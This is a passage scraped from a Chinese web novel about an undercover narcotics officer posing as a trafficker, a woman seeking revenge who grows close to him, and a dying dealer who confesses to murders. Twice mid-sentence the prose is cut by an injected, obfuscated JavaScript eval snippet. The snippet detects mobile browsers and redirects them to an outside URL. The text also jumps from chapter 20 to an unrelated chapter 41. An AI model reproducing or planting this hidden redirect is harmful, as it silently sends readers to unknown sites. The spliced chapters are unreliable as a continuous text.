“卖颜料的。”沈宗野说:“开了家网店,员工把公司收拾好了,我过去看看。” 梁然:“怪不得第一次遇到你的时候,你的伞骨上有颜料。” 沈宗野只是淡淡抿了抿唇,按了电梯等她。 梁然拎着包还要抱观音盒子,沈宗野却并没有搭手,电梯下行到车库的一路他也不再说话。 直到梁然走出电梯问:“开我车吗?” 沈宗野说:“坐我车吧,等下送你回来取车。” 梁然放好观音像坐上了沈宗野的车,车上只有云肖坐在驾驶座。 车子开出地下车库,渐渐远离了市区,四周有一种老工业城市的凋零气息。车轮碾过路坑,慢慢减速拐弯。 夜幕笼罩在城市上空,这里稍微偏僻,房屋都是一排排有年代感的老楼,对面马路则坐落着几处厂房,路上行人不多,偶尔几辆汽车穿过。 沈宗野的公司在一座老旧的两层厂房,不知道前身是做什么的,建筑面积不算太大,在一排厂房最后面。背靠一片葱郁的绿植,挨着一条货运小铁路,铁路轨道对面便是条河。晚风吹起时,空气里隐约飘着河岸边绿植的香气。 梁然刚下车就踩到一块碎石子,扶了下车门。 沈宗野说:“这种地儿你没怎么走过吧。” “还好,我的工作经常跑工地。” 沈宗野让云肖把灯打开。 云肖大喊一声“浩子开灯”。 厂区的灯齐刷刷亮了,院中几个大灯照亮空旷的地面。 夜色一瞬间变得明朗,沈宗野回头看了眼梁然才走进大楼。 梁然跟上他的脚步。 这里一楼是办公室,灰色格子间摆放着几台电脑,隔壁是间玻璃明亮的会议室,会议室背后是茶水间。 沈宗野检查着这些工作,穿过茶水间背后长长的过道,是间厨房。 大鱼在厨房里面。 见到沈宗野和梁然,他明显非常惊喜,喊完沈宗野“宗哥”后想喊梁然“嫂子”,那话到嘴边才想起来改口,变成一声“小梁姐”。 “小梁姐,你来得刚好!我刚做完饭,你来尝尝我的手艺!” 梁然笑:“好啊。” 沈宗野扫了眼厨房门外:“他们人呢?” “都在库房呢。” 沈宗野走出厨房的门,梁然对大鱼说等下再尝他的手艺。 对面是他们的库房,一排排货架上堆放着整齐的颜料。 谢天明、云肖和几个梁然见过的青年都在清点一箱箱货品。 沈宗野说:“这么点小生意让你见笑了。” 梁然:“你今晚好像忽然很客气。” “是么。”沈宗野勾了勾唇。 大鱼安排开饭,李浩饿得狠,没洗手就直接捻了块排骨吃。大鱼忙按住李浩的手:“有点礼貌,小梁姐在这儿呢!” 李浩这才停下,那天恶整梁然他也在场,如今见到沈宗野对梁然有了好脸色,即便他能感觉到云肖依旧不喜欢梁然,但他和李浩几个人能看出梁然如今的地位不一般了,他们的态度也没再那么坏。 几个人朝梁然打了招呼。 大鱼招呼梁然和沈宗野过去吃饭,腾出两个宽敞的位置。 方桌上摆了八个菜,除了没有精致的摆盘,倒是香气腾腾。梁然闻着味道就觉得不会差。 她坐下后大鱼给她递来筷子,要她先尝双椒爆辣兔。 梁然在一盘青红椒里夹出一块兔肉,入口肉质鲜嫩,除了辣椒的辛辣还有青花椒的麻,她虽然能吃辣,但还是吃不了这么爆辣的,夹了一块锅包肉压下去。 大鱼眼含期待地看着梁然。 梁然竖起拇指:“我给你投资开店吧,你这完全是大厨的手艺。” 大鱼哈哈笑,几个人都已经在大口刨饭,大鱼对沈宗野说:“宗哥不吃啊?” “吃过了,你们吃。”沈宗野看了眼梁然,转身走出库房。 梁然起身说:“我也吃过了,下次我空着肚子来,你们好好吃。” 她朝沈宗野离开的方向跟去,经过谢天明时,谢天明提醒她:“灯的开关都在过道墙上。” 梁然朝他说了“谢谢”,穿过一条漆黑的过道,摸到开关打开了灯。 沈宗野的脚步在楼上传来,梁然也上了楼梯。 二楼的风有些大,几间房中只有一间亮着灯,依稀照出大厅里沙发、茶几和柜子的轮廓。 梁然走到亮灯的房间,是沈宗野的办公室。 他坐在办公桌后面,宽大的桌面上有电脑、茶具,以及那尊观音像。 他背后的窗开着,晚风灌进来,梁然的裙摆飘起又落下。 沈宗野倚在皮质沙发椅上,见到她,似笑非笑地说:“我这儿环境简陋,随便坐。” “挺好的,开网店这里很适合。” 桌上煮的水开了,沈宗野把茶叶丢到杯子里,滚水冲泡,倒滤出来给梁然:“随便喝点。” 梁然走上前,并没有入坐,在他的办公桌前停下。 沈宗野泡的茶汤不算清透,掺着些茶叶碎渣。梁然放下包,红唇边有浅淡的笑意,把沈宗野倒的那杯茶倒进了垃圾桶里。 沈宗野深邃的眼眸里捕捉不到喜怒,只是晚风有些沁凉。 “你应该很少喝茶吧。” 梁然把杯子放进茶洗里,也把沈宗野那一杯茶倒掉。 她用滚水冲泡杯子,再用夹子将茶杯夹到茶盘上,优雅的动作晃下水渍。 沈宗野薄唇浮现起笑意,倚在靠背中,好整以暇看她的一举一动。 梁然的手很漂亮。 这是双握笔的手,除了右手中指处有抵着笔杆的薄茧,她的手白皙细腻,指甲干净,指骨很纤细。 这双手肯定没功夫,也没握过抢。 什么人有什么特征,沈宗野还是看得很准。 梁然拧开矿泉水重新倒进水壶里,按了煮水键。 沈宗野勾起薄唇,她的确很符合一个大美女的全部特征,只是不知道向邬道把她放到他这里的最终目的是什么。 滚水咕噜沸腾,薄薄的白色水汽腾升在他们之间。 梁然看了下茶叶:“你喜欢熟普?” “别人送的。” 梁然说:“我觉得生普更适合你。”她取了小块茶叶放到盖碗里,沿着杯子边缘低低冲进滚水,等洗茶的短瞬间,她抬头看沈宗野,微微抿了抿红唇。 沈宗野说:“你很懂茶道?” “还好,看过别人喝。”十几秒的醒茶时间也到了,梁然握着盖碗边缘,将茶汤倒掉,重新注入沸水。 她的手法很娴熟,将重新泡好的茶都倒入公道杯里,对沈宗野说:“现在你可以请我喝茶了。” 沈宗野发出一声闷笑,端起公道杯里的茶倒给梁然。 不过八月末,窗口的晚风已经透着昼夜温差的凉意。他们各自喝着杯子里的茶,茶汤很烫,茶香也厚,可这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14964873|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被年份与岁月堆沃出的陈味他们各自都不喜欢。 沈宗野始终扮演着一个完美的犯罪者,伪善在他身上淋漓尽致。 他低笑一声,似真诚似敷衍,说梁然的茶很好。 梁然放下杯子,看了眼大开的窗户:“风好大。” “那你进来关掉。” 沈宗野转着手上精致的闻香杯,幽深的眼睛里是雄性充满侵略的光。他勾着薄唇,始终带着一种恣肆的淡笑。 梁然望着他,是很长的几秒,她弯了弯红唇,绕过他的办公桌走到他身后,关掉那扇窗。 她转过身,沈宗野生笑的眸子正落在她身上。他端坐的角度,双眼刚好触及她的腰,他就这么看着她,充满兴致的双眸一动不动。 梁然:“你今天好像很高兴?” 沈宗野望着桌上那尊观音像:“你找的观音我挺喜欢。” “我也很喜欢,就因为这个?” 观音像做好后,沈宗野早上送到了董自新那里。 董自新见到观音的瞬间有短暂震撼,这在以往沈宗野找来各种观音像时是不曾发生的。 董自新的态度要好了一些。中午沈宗野接到董自新的电话,说老太太喜欢他送的观音像,问他怎么找到的。他们短暂在电话里聊了几句,董自新虽然什么都没表示,但观音像找对了,沈宗野解决了一个难题,董自新自然能看到他的诚意。 “我喜欢这尊观音,找到喜欢的东西当然该高兴。”放下茶杯,沈宗野站起身来。 闻香杯底部太浅,他起身的身体碰到桌沿,杯子在轻微的晃动里倒下,茶汤顷刻泻出来,眼见要流到沈宗野的裤子。 梁然拉住了他手腕。 沈宗野往前一步,身体没再碰到桌沿,黑色衬衫近到摩擦到梁然的肢体,茶水顺着刚才他站的地方滴答流到地面。 梁然抬起脸。 沈宗野的下颌骨轮廓清晰,突起的喉结细微滚动,他的脖子上有大动脉起伏的跳动。 梁然盯着皮肤下隐约的青筋,一种疯狂的复仇心理急速滋长,又在理智下压抑克制。 此时此刻,她是不是成功接近到了沈宗野?他们之间这样近的距离,他从前绝对不会允许。 她的手没有松开,而是顺着沈宗野的手腕轻轻滑进他掌心,手指缠进他指尖缝隙,拇指带着一种挑逗的摩挲。 沈宗野低笑着垂眸看她,并没有拒绝。 梁然眼里也生起笑,迎上他充满雄性侵略的幽深眼眸。 桌上的水壶在定时煮水的程序里沸腾,窗外依稀传过来仓库那边喝酒的吵闹声,门外的窗都开着,有风涌动进来,吹动梁然的裙摆。 异性之间这种超过十几秒的凝视,足够代表成年人的不言而喻。 梁然勾住沈宗野的脖子,踮起脚尖。 沈宗野弯下腰,手掌落到她腰际。 梁然鼻尖抵上了沈宗野的鼻尖,垂眼时睫毛压抑着不可控的颤动,望着他勾起的薄唇,她偏下头去。 他偏过了头低笑:“取的肋骨还是做的环吸啊。” “腰真细。” 他的手掌烙在她腰上,游走里都是滚烫的烙印,湿热的呼吸也在梁然耳边。 “就不能是我自己天生的。”梁然握住他烙在她腰间的手掌:“你喜欢吗?” 沈宗野居高临下睨着她仰起的脸,手掌轻而易举握住这一段细腰。 梁然的身材比例实在太过完美,她拥有漫画里的折角腰,腰臀的比例实在太过性感,总容易让人以为是取掉了肋骨做的定制形状,又或者是做了环吸抽脂。 这样特殊的气氛,梁然竟然会有些想冷笑,他不愧坏到透顶,懂得还挺多。 她勾住他脖子,再次踮起脚尖。 她的唇没能落到沈宗野薄唇上,他侧到她耳边,低沉的嗓音充斥她耳道:“照片是故意给我看的吗?” “什么?” “那天的照片,穿着睡衣对镜子拍的那张。” 梁然心脏沉沉地跳动着,梁幸均的脸浮现在她眼前,灵堂里他变成一个冰冷的木盒子。 她闭了闭眼,用亲吻回答沈宗野。 她的唇贴上了沈宗野薄唇。 他的嘴唇很凉,在她的主动里亲了亲她,却并没有张唇接纳她的舌吻。 沈宗野把玩着她的腰,摩挲的动作烙下痒意。 水壶冒着的热气腾升在他们中间,丝丝缕缕的雾气让一切如真似幻。 沈宗野的眼眸恣意、微凉。梁然望着他放荡不羁的这双眼。 他说:“你看见了,我是个糙人,跟着我不会有什么好下场。” “可我愿意。” 20. 第 20 章 离开沈宗野的公司时,梁然被他开车送回酒店。 她的车还停在「云上人间」,沈宗野说会让人替她开过来。 回到酒店房间,梁然走进浴室望着镜子。 镜子里的人漂亮、冷静,白皙的皮肤下透着一层潮红。那当然不是因为和沈宗野接吻所致,是她压抑的激动与仇恨。 梁然望着镜子很久,眼里的仇恨那么浓烈,她看着饱满而红的嘴唇,无所谓地笑了笑,低头拧开水龙头,挤满牙膏刷了两遍牙。 …… 北方的夏季过得太快,初秋的夜晚气温格外凉。 沈宗野回到公寓,打开房门的瞬间,晚风从阳台穿过,对流的冷风卷落桌子上的薯片袋子。 谢天明捡起掉落在地上的几片薯片炫进嘴里,一点不介意干不干净,关好阳台的窗。 沈宗野径直走进卫生间。 谢天明问:“怎么样?” 沈宗野没回答,先漱完口才说:“还能怎么样。”将牙刷丢进漱口杯,他对镜子洗了把脸。 谢天明靠着门吸手上的AD钙奶,忍俊不禁:“洁癖这么重啊,人家是美女。” 沈宗野没说话。 “想想咱牺牲还蛮大的。”谢天明一本正经算账。 沈宗野拉了下衬衫闻,依旧是最初遇到的那股冷清的花香气,但如今香气也变得恶劣起来。 他回房间换了衣服,将衬衫丢到洗衣机:“去看过老万了?” “我没能进屋,他小弟说他情绪很不好。” 沈宗野眸光一深。 第二天,云肖说车子已经给梁然开回去了,都安装好了。 沈宗野打开云肖分享过来的一个程序,地图上,梁然的坐标开始从酒店一点点变动,停在一家粤式早茶店。 他点开音量播放,传来一声关门声和锁车的声音。 他在梁然的车上装了定位和监听器。 摁灭手机,沈宗野出门去看老万。 一院对面这栋楼住了很多外地来看病的人,大部分都是癌症病人。老万的三楼却少有人至,老万忌讳生人,把整个三楼租下来了。 开门的是老万如今唯一一个跟在身边照顾的小弟,姜义。 见是沈宗野,姜义才开门让沈宗野进去。 姜义和沈宗野同样的年龄,体格高挑健壮,五官端正,看外表绝对看不出是个心狠手辣的毒贩。老万说姜义是他的刀,也是他绝对信任的人。 沈宗野走进客厅问:“万哥这几天怎么样?” “不太好。” 姜义是忌讳沈宗野的,一方面因为毒贩惯有的疑心,一方面更是因为老万这些年积攒的财富和人脉。但对老万这件事上,他还是很尊敬老万,没有为难过沈宗野。 他看了眼卧室紧闭的门,低声说:“主治医生说癌细胞已经扩散到肺部了,万哥他很痛苦。” 沈宗野来到卧室门口,姜义敲门说:“万哥,沈宗野来看你了。”没听到拒绝,他打开了房门。 沈宗野走进房间。 卧室地上铺满了人民币和金条,大床上也全是人民币和缅元。 床上的中年男人面黄肌瘦,腹部却因为腹水鼓得很大。他躺在一堆人民币上,手里抓着几根金条,枕头边是氧气瓶。 上次沈宗野来时,还没见老万到吸氧的地步。 老万叫李万金,是老单察觉自己要倒台后叮嘱沈宗野来投靠的中间人,老单希望老万把沈宗野介绍给董自新,倒不是因为老单有多器重沈宗野,而是想让沈宗野为他报仇。 沈宗野找到老万时,他才刚刚检查出肝癌中晚期,一边化疗一边等着肝·源移植。 可两个月的等待,如今病情越来越重,上周沈宗野过来时,姜义告诉他如果再没有合适的肝·源,老万的身体就没有换·肝的必要了。 “随便坐,你坐那堆金条上。” 老万蜷着枯瘦的身体,冲沈宗野咧嘴笑,他的笑很僵硬,皮包骨的五官也透着一种恐怖。他说:“没坐过这么多金子吧?哈哈哈!” 沈宗野坐到老万说的位置,笑了笑:“没坐过也没赚到过。” “你才二十五岁,还有机会赚。我二十五岁的时候已经在孟邦修起别墅了,那会儿是我走货赚的第一桶金。” 老万从身下人民币里坐起身,抛给沈宗野一根金条:“猜猜多重?” “五百克。”沈宗野凌空接过。 老万哈哈笑,说“真准”。他一边抓过氧气瓶吸氧,一边和沈宗野说起年轻时那些事。 沈宗野把带来的保温盒放到老万床头。床头柜上摆满了散乱的百元钞票和缅元,绿色保温盒也只能放在那些钞票上。 “给你带了点药膳。” “吃不下。”老万摇头,“全身都痛啊。” 沈宗野:“中药炖的,喝点吧。” 老万这才慢慢吞吞去接食盒。 姜义一直在门口看着,如今对沈宗野也算放心,他说:“你帮我看一会儿,我去医院拿个报告。”他又嘱咐老万有事就给他打电话,他马上就回来。 沈宗野拽了把椅子坐到老万床前。 保温饭盒里是大鱼炖的粥,加了好几味肝癌病人有益的中药。 老万勉强喝了几口:“感觉浑身都有劲了。”他抬头,黄疸让整张脸都泛着黯黄,他哈哈笑着,“这劲儿都能玩个女人了。” 沈宗野陪他抿了抿笑。 “你玩过多少女人啊?我都数不清了。”老万陷入了回忆里面,说起他年轻的时候玩过的那些女人。 沈宗野听着这些肮脏污秽的语言,他办案时听过很多,但都没有老万这个快死的癌症患者这么肮脏罪恶。 他没证据抓捕老万。 接触的这两个月,老万也是半个月前才对他建立起信任。 老单说老万是只十分狡猾的狐狸,贩毒的这些人谁没几条命案,但老单从没杀过人,把贩毒藏起来他就是个干干净净的公民,警察根本查不到他一点犯罪记录。 沈宗野原本想在老万死之前查到他一些罪证,上回有一点线索,他在附近蹲守了一个星期还是没任何收获。 老万还说着女人,眼神忽然慢慢黯下来,望着满屋子的钞票和金条:“突然后悔了,没个孩子。” “要是有个孩子,现在他是不是得在我跟前尽孝啊。我挣的这么多钱也都能给他。”老万的表情痛苦懊恼,“要是当年没弄死那个娃娃就好了。” 沈宗野心上一动。 他眸光依旧,如常低笑:“单哥说你可没人命,手上干干净净,要我跟你学。” “谁说我没有,我弄死了个娃娃。”老万笑着比划,“这么大,两个月的男婴!本来是我儿子。” 沈宗野如常地把饭盒给老万:“再喝点吧。” 他当然想继续挖下去,他正愁没有老万犯罪的线索。但他始终很冷静,仿佛这种杀人的事情听来已经是寻常便饭。 老万推开饭盒,见沈宗野没有任何波动,他急切地说:“说不准他真的是我儿子!” 他果真说起这段往事。 年轻时他让一个足疗妹怀孕了,虽然都是逢场作戏,但对孩子也算期待,给人请了保姆养胎,对那女人也没亏待。 “老子给她花不完的钱,她要金子老子就买金子,大冬天要吃雪糕,老子就喊手下给她买雪糕,她弟结婚要彩礼,老子给彩礼。她老娘,她爸,她妹,她一家五口人老子都给她养起来了,但她妈的背着我养男人!拿着我的钱养男人!” 老万说那女人怀孕的时候他就在院子里看到了那个男人,女人解释过去了。 后面儿子生下来,女人就要他给一笔坐月子的钱,老万有了儿子倒很爽快,当时给了很大一笔,但女人话里话外说钱不够。老万起了疑心,设了个局,才知道女人带着小白脸要跑。 “老子不会给别人养儿子!敢骗我,她真是在找死!我弄死了她一家五口,还有那个野男人,还有那个娃娃。我亲手弄死的,五十克冰,哈哈都没哭几声。”因为激动,老万喘息了好久,抬起狞笑的脸,冲沈宗野数手指,“七个人,七条人命。” “真他妈晦气,让老子手上沾血。” 沈宗野勾起薄唇笑了。 无数次面对毒品的阴暗面,无数次接触罪恶的亡命之徒,他从不敢松懈于这条隐蔽线上的一环一扣。他的眼底充斥着嗜血的兴奋,仿佛嗅到了同类的气息,微微俯身离老万更近,薄唇边的笑都是赞许。 “看不出来我的老哥哥,死了就死了,你身体要紧。” “可我没有儿子。”老万扭曲的笑容变得很痛苦,仿佛终于懂得了忏悔,“也许那真的是我的儿子,这些年我玩了那么多女人都没再有过孩子。” 沈宗野安慰他,想了想说:“别去想了,如果实在觉得有什么机缘,找个会看的先生给超度吧,认到你名下,也攒点福报。” 老万一愣,紧望沈宗野的眼神激动而雀跃,仿佛这真的是一个极好的方法。 可他忽然逐渐冷静,笑了笑说无所谓,拿过氧气瓶吸氧。 沈宗野不动声色留意老万的举动。 老万放下氧气瓶,说回沈宗野:“董自新接受你了?” “还没有。”沈宗野挺无奈,“他家老太太的观音像我倒是找到了,董老板只是对我客气了些,没进度。” “董自新这个人这么多年藏得干干净净,他不会平白无故让你一个陌生人知道他不干净。”老万说:“等着吧,你只要让他信任你,他会给你机会。” “万哥,那我接下来应该做什么?”沈宗野认真地问。 “什么也不做。”老万说:“我现在没那么大面子了,他能见你也算给了我脸面,我也只能帮你到这儿。” “别这么说,你的恩情我记心里了。” 老万笑:“那以后记得多给我烧纸。” 沈宗野多么惋惜,同情。目光流连在老万枯瘦的脸上,那么不忍:“会有肝.源的。” 老万不想接这句话,望着沈宗野,目光从头扫到脚,不太赞同。 沈宗野的穿着没什么异常,跟往前的风格一样。他今天穿一件条纹衬衫,丝滑的哑光缎包裹着喷鼓的肌肉,领口纽扣没有系,露出泛着冷光的铂金项链。因为周身难掩的冷戾,他看起来是十足的不好惹。 老万说:“你穿这身不行,换个行头吧。董自新那儿干干净净,身边也都是干净人。” 沈宗野恍然大悟般:“我知道了,万哥你是我恩人。” 老万笑笑。 姜义还没取回医院报告,沈宗野搀扶老万起来活动,两个人坐在阳台又聊了会儿董自新,直到姜义回来。 沈宗野起身要走。 老万望着楼下车流穿梭,人来人往。那些人都健康地行走在阳光下,没有疾病,浑身充满了生命的活力。他忽然埋下脊梁哭了起来,暗哑的哭声像儿童的嚎啕大哭。 沈宗野和姜义安慰了好久。老万止不住这种哭泣,这种面对死亡的哭泣。 “我想活着,我还有那么多钱,我还不到五十。” “老天爷为什么要这样对我?我想活,我不想死……” …… 从老万那里出来,沈宗野开车来到公司。 大鱼端着新学的甜点想让他尝,沈宗野没空招呼,接过盘子说:“天明呢?” “在仓库发货呢,肖哥玩了个直通车,今天咱生意不错。” “让他来见我。” 沈宗野回到他的办公室,关掉了屋里的监控。 手机上有新的消息提示,是梁然两个小时前发的微信,他一直没看。 Zahe:「你在忙吗」 「宁城的秋天好早啊,今天好冷~」 「沈宗野,我来找你吧,你在公司吗?」 这句话是梁然十几分钟前发来的。 沈宗野打开追踪器的小程序,看清她今天所到的坐标,他眼底一片冷意,薄唇上却挂着淡笑。 梁然去了向邬道的那个红酒店。 沈宗野回复梁然:「在公司,你想来就来」 谢天明和云肖同时过来了。 云肖说:“哥,梁然今天去了乌鱼的地盘,你看没看定位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果这种吃喝玩乐能让他们与那群毒贩一样沉溺于罪恶的阴暗里,那他们在这阴暗之处的睁眼看到的就将是意义。 谢天明没有沈宗野稳重,但他是一个很完美的搭档,从来没有给沈宗野拖过后腿,偶尔的情绪也会很快平复。 沈宗野没有严肃地训斥谢天明,他只是笑了笑,知道谢天明抱怨完就会想明白,他用这种故作轻松的语气说:“也不是什么都不做,老万说咱们穿得太俗了,董自新面上干干净净,咱不能看着就不像个好人。” “我懂了!像乌鱼那样,西装革履的是不是?”谢天明的情绪去得快,找到新的方向,他的声音也有了动力,“换新装备嘛,可以可以,老万说的还真是。等我回来你给我搞套好西装!” 他说完就去着手沈宗野交代的事。 办公室安静下来,监控画面里,院子里徐徐停下梁然的白色汽车。 车门开了,一条细白的腿迈下来。 沈宗野视线从电脑屏幕上移开,重新打开办公室的监控电源。 办公室的门没有关,梁然走进来,手上拎着一个古典的袋子。 宁城的秋天来得早,今天气温格外凉,她穿着薄薄的米色风衣,长度盖到了腿肚,露出光洁白皙的小腿。风衣的材质像亚麻,微皱的质感,她穿在身上有一种素到极致的清冷高级。 沈宗野确实不明白梁然这种级别的美女怎么也会沦落到毒品里,甘心被向邬道收服。 但他从梁然的衣品上突然找了一点新思路,她的确很善于高级的伪装。 梁然对沈宗野笑了笑:“今天你很忙吗,都没有回我消息。” “嗯,上午没空。” 梁然看到桌上的盘子,里面放着一朵很漂亮的白色玉兰花:“这是甜品吗?” 沈宗野:“大鱼做的。” “我能尝吗?” 沈宗野说“随便”。 梁然刚捻到一片花瓣,边角就碎了,她很惊讶:“居然是炸的面食,我以为是真花裹的糖霜。”她吃完觉得不错,“你吃了吗?” “还没碰。” 梁然手撑在桌上,捻了一片花瓣喂到沈宗野嘴边。 “尝一下,很好吃。没想到大鱼不仅会做菜,还会做甜品,手艺真好。”她微微俯身,发梢扫着沈宗野手背。 沈宗野张唇吃了。 这种酥点太脆,残屑掉到一些在桌上,梁然用手耐心捡着。一切都很安静,窗外是工厂外道路上的汽笛声,偶尔有几声鸟叫。梁然很耐心,她的动作专注而认真,并不觉得把时间付诸在这样的小事上是浪费。 完美皮相的加持,她低头专注的眉眼有一种岁月静好的意思。 沈宗野迎合着她的演技,薄唇微挑,嗤笑她的动作,在她几次没捻起那些小碎屑时,抽了张纸巾覆上去,直接一擦,桌面顿时干净了。 他粗鲁的动作与她相比,似乎少了很多情趣。 “袋子里是什么?”沈宗野问。 “给你带的茶叶,冰岛古树生普。”梁然拿出袋子里的茶叶,是她特意去挑的。 她上午去买茶叶时,也去了一趟上次和向邬道见面的红酒店。 观音像起到作用,她想去“感谢”向邬道,或者明确一点,是想知道向邬道会再指引她下一步应该做什么。 上次她问沈宗野大拇指残疾的原因时,沈宗野说他也弄断了对方一根手指,她想到的自然只有向邬道。 向邬道在「云上人间」看到她在追沈宗野,所以想利用她的关系帮她,不,是帮他们自己的利益吧? 她不清楚向邬道为什么要这么做,但现在可以肯定的是沈宗野和向邬道是对头,而董自新可能是他们之间的一个关键人物。 向邬道利用她让沈宗野达到向董自新示好的目的,所以她想知道向邬道下一步是什么。 只要对沈宗野不好的事,那她就想去做。 梁幸均的相机里,她始终无法忘记沈宗野那双冷戾的眼睛。 可惜她到店里后向邬道不在,只有一个男人传话,告诉她“向先生说对梁小姐追求的那位男士了解不多,别的暂时没有帮到你的。您既然很喜欢那位先生,那您应该知道怎么对待喜欢的人。有机会向先生还会再来宁城旅游”。 梁然听懂了这个意思,不管有没有向邬道这个人的帮助,她都会按她原本的计划进行,让沈宗野爱上她。她知道一个罪恶滔天的毒贩没有心,即便沈宗野不会爱上她也没关系,只要能留在他身边哪怕一个月,两个月,她就有寻找他犯罪证据的机会。 40-50 第41章 第41章风雨欲来 沈宗野埋下头,抱住双臂,梦里的冷风仿佛仍打在身上,透骨的寒。 这么多年了,他仍然会被当时的无助与恐惧深深困住。那种找不到亲人的害怕还是会活在他这具成年的躯体里。 沈知培和方昭意是在他六岁那年离的婚。 离婚原因,长期分居,感情破裂。 那些年毒品猖獗,沈知培作为杰出的一线缉毒警,有忙不完的案子。方昭意一年有三百六十五天见不到沈知培,她需要沈知培时,沈知培一直都在缺席。 她无数次地崩溃。 也一次次地自愈。 直到有一天,她在下班的路上被绑架。 那是毒贩对沈知培的报复,他们不知道方昭意和沈知培是夫妻,只是跟踪到沈知培悄悄买花送给方昭意。 那次沈知培收到对方的威胁,以最快的时间救下了方昭意。 方昭意当时正被毒贩撕扯尽衣物,虽然沈知培的出现阻止了实质性的伤害,但最严重的心理创伤还是刻下了。 她实在累了,不想再继续这段婚姻了。 沈知培向方昭意保证三年内会换到指挥岗,不会再冲一线,不会把危险带给家庭。他知道没资格说对不起,但他还是想挽留方昭意。 方昭意坚决要离婚,沈知培也不敢再挽留了,但他想要沈宗野的抚养权。 方昭意不同意。 他们打起了官司,争夺沈宗野的抚养权。 他们每个人都来问沈宗野想跟着谁。 沈宗野从小就是个聪明的孩子,他天性好学,顽皮,但又很听爸爸妈妈的话,他说他要爸爸妈妈在一起。 方昭意就逼着他选,他并没有见过方昭意那么咆哮的样子。他去抱方昭意,说妈妈你别哭,我要妈妈不哭。 方昭意打赢了抚养权官司,但是沈宗野失去了完整的家庭。 他那时候很讨厌沈知培,他哭着问沈知培:“为什么妈妈说你辞掉工作就不分开,你还是不去辞职?你就不能为了我和妈妈不上班吗?我也可以赚钱养我们家。” 沈知培不知道要对他说什么。 沈知培只是背过身去擦眼泪,然后,沈知培转回身,蹲下来看他:“我只想多抓一些坏人,让你和妈妈生活的世界光明更多一点。也许我现在把坏人抓完了,以后你们长大就不用再像我们这样去抓坏人了。” 沈宗野被方昭意带到了纽约。 方昭意断了国内所有后路,带着全部的钱来投奔同学,和同学做生意。 他们住的房子也算宽敞,方昭意给了他能力以内最好的条件。 可沈宗野不适应陌生的环境,总是反复生病,美国的医疗太贵了,他费钱的程度几乎让方昭意崩溃。 那天,沈宗野肺炎退烧醒过来,方昭意长期很晚才回家,她花钱聘请的钟点工也已经离开了。 空荡的屋子,沈宗野找不到妈妈,刚睡醒的失觉感让一个六岁的孩子如同被这个世界遗弃。 他在异国陌生的街道哭着找妈妈,被送到警局。他扰乱了方昭意的节奏,害方昭意爽约,毁了方昭意努力一个月的工作成果。 方昭意狠狠打了他两个耳光。 “你哭什么哭?该哭的人是我,你为什么整天都要我陪你?你为什么不能像以前那样好好听话!” “我什么都没有了,我把所有钱都花在你身上了,是你毁了我啊!!” 六岁的沈宗野蜷缩在门后,飞机积木被方昭意打散在地板上,那是沈知培托人漂洋过海送给他的中秋礼物。 后来,沈宗野总是会怪自己记忆力太好了。 总是会记得那晚方昭意扭曲的脸,不停涌出的眼泪,蹲在门外地板上嚎啕的哭。会记得地板窜起的凉,让他整个身体不停地发抖,记得他还是爬到方昭意身前,用身体去抱她,想给她擦眼泪,却被她狠狠推开,小小的身体撞到门上…… 记住那段不被妈妈在意的回忆,心脏神经会很痛。 6岁到11岁,他在美国生活了五年,好像那五年都是如此,妈妈总是这一刻在意他,下一刻又指责他,因为方昭意生病了。 失败的婚姻加上事业的惨败,方昭意患上了双相抑郁。她会凶他骂他,可是又很爱他,会为她失控的行为对他说对不起,抱着他哭。 沈宗野一直很聪明,聪明的孩子总是会格外心疼父母。 他也很乖巧,收起了所有小孩子的童趣,学着从前沈知培照顾方昭意时的样子。妈妈哭了,他就去安慰;妈妈不爱吃饭,他就搬来椅子站上厨房,学着怎么开火做吃的,把食物摆成可爱的形状;他用最快的速度学习英文,和那些白皮肤的孩子争抢班级第一,每次方昭意看他拿奖都会很开心。 可方昭意的病情还是好不了。 沈宗野总是在自责,为什么他治不好妈妈,他哪里做错了吗? 他是被方昭意送回沈知培身边的。 方昭意对他说她怕她的病情会影响他成长,要将他送回爸爸身边。 11岁的沈宗野比同龄的小孩子多了一份责任,他看着方昭意那么好看又憔悴的脸,在她的目光下点头。 方昭意并不知道,他听到了她和好友在房间里的谈话。 “从楼顶下来时我彻底清醒了,我不会再为了孩子活着,我这个样子没法照顾他,我也不想让他活在我的阴影里面,他们父子俩耗了我十几年……我想放弃抚养权了,把他送回国,从今以后只为我自己活,像我未婚、没有生过小孩那样去过生活。我想和俞邵试试,我觉得他可以,至少他愿意接手我们的公司。” 沈宗野知道方昭意是爱他的。 她并不欠他。 他的妈妈首先应该是她自己,而后才应该是他的妈妈。 只是这么多年过去,他竟还是会做这个梦。 而11岁那年明明有未曾开口道出的不舍,还是随风散在了那一万六千公里的漫漫航线中。 窗外是一轮满月,月光澄澈清明,沈宗野感到冷,弓起背抱了抱双臂。 他就这样看着月影西沉,不想被这广袤的夜放大心脏深处一团隐约的黑洞,找出手机再次拨给云肖,想查轻松一号。 云肖睡意惺忪接着电话:“哥?我和浩子找了家酒店住下了,明早回来。” “还有钱住酒店?”沈宗野冷冰冰说。 将网店亏了二十多万,云肖很怵沈宗野:“我俩喝多了,就干脆找了个便宜酒店睡下了,叫代驾多浪费。” 沈宗野的网店在郊区,云肖他们平时很喜欢去「云上人间」休闲放松,最近因为董自新的事,沈宗野没让他们再去,他们憋不住便去了市区酒吧里玩。 沈宗野语气很差:“明早早点回来,回不来就别他妈跟我了。” 云肖一个激灵,彻底清醒了,连忙说着好话。 沈宗野懒得听,挂了电话这才准备重新入睡。 他却在睡梦里被王局的电话叫醒。 “姜义动工了,随时准备抓捕老万。” 沈宗野坐起身,快速穿好衣物,找出配枪。 月光从他深沉的眸底一晃而过,修长的身影隐入暗夜。 …… 